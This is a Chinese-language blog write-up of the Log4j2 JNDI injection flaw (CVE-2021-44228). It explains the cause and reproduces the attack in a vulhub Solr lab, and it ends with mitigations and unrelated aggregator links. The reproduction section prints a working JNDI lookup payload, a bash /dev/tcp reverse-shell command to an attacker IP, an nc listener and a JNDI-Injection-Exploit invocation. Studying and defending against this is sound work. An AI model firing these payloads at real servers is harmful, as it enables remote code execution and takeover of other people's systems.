• 致谢:此问题由阿里云安全团队的 Chen Zhaojun 发现。

什么是Log4j2

Apache Log4j2 <=2.14.1 版本提供的 JNDI 特性用于配置、日志信息、参数位置时,无法防护攻击者使用 ldap 或其他JNDI 相关断点的攻击行为。攻击者如果可以控制日志信息或日志信息参数,则可以在开启了 lookup substitution 功能时利用恶意的 ladp 服务器执行任意代码,在 2.15.0 版本时,默认将其此行为关闭。

经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

前置知识

  • JNDI(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(应用程序编程接口)。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。命名/目录服务只要实现SPI都可以通过JNDI访问。

  • DNS 域名系统/数据库 通过域名请求dns服务器,dns服务器解析域名为ip地址,通过ip地址访问服务。我们在这里利用dnslog进行dns回带,测试监测点并返回java版本数据。

  • 根服务器 互联网的顶级域名解析服务由根服务器完成。

  • Ldap 轻型目录访问协议 通过IP协议提供访问控制和维护分布式信息的目录信息。

  • rmi 是Java的一组拥护开发分布式应用程序的API。

漏洞成因

Log4j2的日志内容作为LogEvent类型对象的message参数,该参数会传入MessagePatternConverter类的format()方法,而该方法则会对"${"后的内容进行递归解析。

Interpolator类的lookup()方法,会对递归解析的内容,按PREFIX_SEPARATOR(即冒号)分割,第一部分作为prefix。当prefix为jndi时,会调用JndiLookup.lookup(),并调用JndiManager.lookup()发起网络请求。

那么漏洞本质其实就是一个JNDI的注入漏洞。

利用原理

由于JNDI注入攻击的请求对象地址可自定义,我们可以将地址指向存放恶意类的LDAP/RMI/CORBA服务器,向受害服务器返回一个javax.naming.Reference类型的恶意对象。

该类型对象的构造方法为Reference(String className, String factory, String factoryLocation)。

其中className为要加载的类名,factory为class中需要实例化的类的名称,factoryLocation则是class存放的位置。

受攻击的服务器获取并解析该Reference类型的恶意对象后,会先尝试从本地classpath中加载名为className的类,如果这个类不存在,则会从factoryLocation指定的远程"codebase"地址加载恶意的class文件,实例化并默认调用静态方法,至此攻击者的恶意代码便得以在受害主机上执行。

利用小结

  1. 攻击者部署带有恶意载荷的LADP/RMI服务器
  2. 攻击者向使用Log4j2组件的服务器发送带有恶意的JNDI payload的攻击请求
  3. 受攻击服务器使用Log4j2组件的服务调用lookup方法,向恶意LADP/RMI服务器发起请求,并从响应中获取返回的恶意Reference对象
  4. 服务器解析该恶意Reference对象,并进一步基于Reference中指定的codebase地址,加载并执行恶意class

实现命令执行后,攻击者将得以操控受害服务器去进行各种操作,包括但不限于反弹shell、反连验证、外带敏感信息、写入定时任务、后门植入等。

防护难点

  • 可利用协议多(JDBC、LDAP、RMI、DNS、NIS、CORBA)
  • 漏洞相关源码存在递归解析,payload复杂多样
  • payload可编码,加密

漏洞复现

复现环境

本文使用vulhub /log4j/CVE-2021-44228 ,基于Apache Solr开源的搜索服务的Log4j2漏洞(CVE-2021-44228)

复现过程

使用dnslog.cn作dns回带并返回java版本号,记录返回的java版本号并留以后续利用。

解析

  • ${sys:java.version}获取java版本号
  • po2i2h.dnslog.cn为在dnslog.cn获取的临时三级域名

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.po2i2h.dnslog.cn}

base64将指令编码

bash -i >& /dev/tcp/<攻击主机ip>/<端口> 0>&1

解析:

  • bash -i 启动交互式命令bash
  • -i 将输出重定向到文件
  • /dev/tcp 靶机为Linux的设备/dev/tcp连接程序启动socket(Linux系统:所有程序都是目录文件)
  • 192.168.0.1/7777 连接的ip和端口(即本地计算机)
  • 0>&1 远程的输入和输出(消息呈现方式为远程)

关于dev目录

在linux系统中,/dev目录用来保存设备文件的.每个文件指向一个系统设备.用户的程序可以通过使用这些设备文件,

对真实的硬件的设备进行操作。如: hda是第1个IDE硬盘,sda是第1个SCSI硬盘。

shell

shell这里指的是Shell 脚本(shell script),是一种为 shell 编写的脚本程序。

反弹shell指的是让靶机主动执行连接我们攻击主机的命令

  • 正向shell

    可以理解为A给B打电话,B接电话,完成信息接通

  • 反弹shell

    可以理解为A给B打电话,B把A的电话号码保存下来,然后重新呼叫A


在攻击主机上监听反弹shell接收端口(这里使用7777端口)

nc -lvnp 7777

使用github的jndi工具,在攻击主机部署带有恶意载荷的LADP/RMI服务器

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,<base64编码后的内容>}|{base64,-d}|{bash,-i}" -A <攻击主机IP>

解析

  • 使用攻击跳板服务器JNDI-Injection-Exploit应用工具搭建服务
  • 将此条命令进行Java Runtime Bash 编码
  • 编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定发出攻击的ip

使用生成的对应java版本的恶意链接并注入

查看攻击主机上获取的返回内容,可以看到被攻击主机已经加载了我们生成的恶意服务。

此时我们监听的7777端口已经收到了来自被攻击主机的shell。


规避(缓解)措施

对于版本 >= 2.10 ,可设置系统属性 log4j2.formatMsgNoLookups 或环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 true 以缓解。

对于版本 2.0-beta9 to 2.10.0 ,可移除 classpath 中的 JndiLookup 类以缓解,命令为:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class


dnslog平台

dnslog.cn
burpcollaborator.net
ceye.io
dnslog.link
dnslog.cc
dnsxx.top

附dns解析原理图

dns平台也可以自己搭建,可利用github项目搭建。相关教程可自行查询。

推荐阅读

素十八 八千字的浅谈Log4j2非常值得学习,共勉。

浅谈Log4j2 漏洞-素十八

phith0n师傅对于Elasticsearch存在Log4j2漏洞研究将该问题割析得非常透彻,共勉。

log4j与elasticsearch研究-phith0n

斩断Log4j2 RCE漏洞验证和利用链,主动外联管控你值得拥有-阿里云安全专家

参考

[1]浅谈Log4j2 漏洞-素十八

[2]log4j与elasticsearch研究-phith0n

[3]斩断Log4j2 RCE漏洞验证和利用链,主动外联管控你值得拥有-阿里云安全专家

[4]关于Apache Log4j2存在远程代码执行漏洞的安全公告

[5] Apache Log4j2 丨阿里云「流量+应用+主机」三重检测防护指南

[6] 【漏洞预警】Apache Log4j 远程代码执行漏洞

[7]【漏洞预警】Apache Log4j2 远程代码执行漏洞二次更新通告

[8] 【虚拟补丁】Apache Log4j2远程代码执行漏洞(CVE-2021-44228)

浅谈log4j2 CVE-2021-44228的更多相关文章

  1. 浅谈Log4j2日志框架及使用

    目录 1.日志框架 2.为什么需要日志接口,直接使用具体的实现不就行了吗? 3.log4j2日志级别 4.log4j2配置文件的优先级 5.对于log4j2配置文件的理解 6.对于Appender的理 ...

  2. 浅谈log4j-2

    //配置日志输出的定义,主要有三点:1:输出什么级别的日志信息,2:将日志信息输出到那里,3:输出的日志以什么格式展示 public static void main(String[] args) { ...

  3. 浅谈Log4j和Log4j2的区别

    相信很多程序猿朋友对log4j都很熟悉,log4j可以说是陪伴了绝大多数的朋友开启的编程.我不知道log4j之前是用什么,至少在我的生涯中,是log4j带我开启的日志时代. log4j是Apache的 ...

  4. springboot开发浅谈 2021/05/11

    学习了这么久,本人希望有时间能分享一下,这才写下这篇浅谈,谈谈软件,散散心情. 这是本人的博客园账号,欢迎关注,一起学习. 一开始学习springboot,看了好多网站,搜了好多课程.零零落落学了一些 ...

  5. 【转】Android Canvas的save(),saveLayer()和restore()浅谈

    Android Canvas的save(),saveLayer()和restore()浅谈 时间:2014-12-04 19:35:22      阅读:1445      评论:0      收藏: ...

  6. 谁还没遇上过NoClassDefFoundError咋地——浅谈字节码生成与热部署

    谁还没遇上过NoClassDefFoundError咋地--浅谈字节码生成与热部署 前言 在Java程序员的世界里,NoClassDefFoundError是一类相当令人厌恶的错误,因为这类错误通常非 ...

  7. 浅谈cache

    2021.9.22更新: <浅谈Cache Memory> http://blog.sina.com.cn/s/blog_6472c4cc0102dusv.html 为什么贴上这个链接呢, ...

  8. 浅谈 Fragment 生命周期

    版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Fragment 文中如有纰漏,欢迎大家留言指出. Fragment 是在 Android 3.0 中 ...

  9. 浅谈 LayoutInflater

    浅谈 LayoutInflater 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/View 文中如有纰漏,欢迎大家留言指出. 在 Android 的 ...

  10. 浅谈Java的throw与throws

    转载:http://blog.csdn.net/luoweifu/article/details/10721543 我进行了一些加工,不是本人原创但比原博主要更完善~ 浅谈Java异常 以前虽然知道一 ...

随机推荐

  1. Linux - Centos6/7忘记root密码怎么办?

    转载:https://www.cnblogs.com/witz/p/10183533.html 一.Centos6.x (1)查看操作系统版本以及内核版本 (2)重启服务器,到如下界面 (3)好吧.. ...

  2. 大数据之路Week10_day05 (Redis总结I)

    正文 1.为什么使用redis 分析:博主觉得在项目中使用redis,主要是从两个角度去考虑:性能和并发.当然,redis还具备可以做分布式锁等其他功能,但是如果只是为了分布式锁这些其他功能,完全还有 ...

  3. 通过fetch_mcp,让Cline能够获取网页内容。

    fetch_mcp介绍 GitHub地址:https://github.com/zcaceres/fetch-mcp 此MCP服务器提供了以多种格式(包括HTML.JSON.纯文本和Markdown) ...

  4. php对接股票、期货数据源API接口

    以下是使用 PHP 对接 StockTV API 的项目实现.我们将使用 cURL 进行 HTTP 请求,并使用 Ratchet 处理 WebSocket 连接. 项目结构 stocktv-api-p ...

  5. 记录一段mysql代码

    SELECT f . * , tmp.userid, tmp.cishu FROM fx_user f, ( SELECT a.id, b.userid AS userid, COUNT( * ) A ...

  6. Kubernetes身份认证资源 —— TokenReview详解

    1.概述 Kubernetes 中的 TokenReview 是用于验证令牌(Token)有效性的一种 API 资源,属于 authentication.k8s.io/v1 API 组.它允许客户端通 ...

  7. Anoii之UDP与多路复用

    代码连接:https://github.com/Afeather2017/anoii/blob/master/src/udp_peer.cc 以往写了TCP的多路复用,发现它还挺难写对的.现在写UDP ...

  8. mysql frm、MYD、MYI数据文件恢复,导入MySQL中

    前言 .frm..MYI..MYD 文件分别是 MySQL 的 MyISAM存储引擎存储的表结构.索引.数据文件. 简单方法恢复数据 .frm..MYI..MYD文件如果直接以文本打开,全部会以二进制 ...

  9. PDF转换:从Word到Excel

    一.引言 在数字化的浪潮中,PDF文件格式以其稳定性和兼容性成为了信息交流的宠儿.然而,当我们需要编辑这些PDF文件时,往往会遇到各种难题.今天,我要和大家分享的,是如何将PDF文件轻松转换成Word ...

  10. Delphi 判断操作系统是32位或是64位

    function IsWin64: Boolean; var Kernel32Handle: THandle; IsWow64Process: function(Handle: Windows.THa ...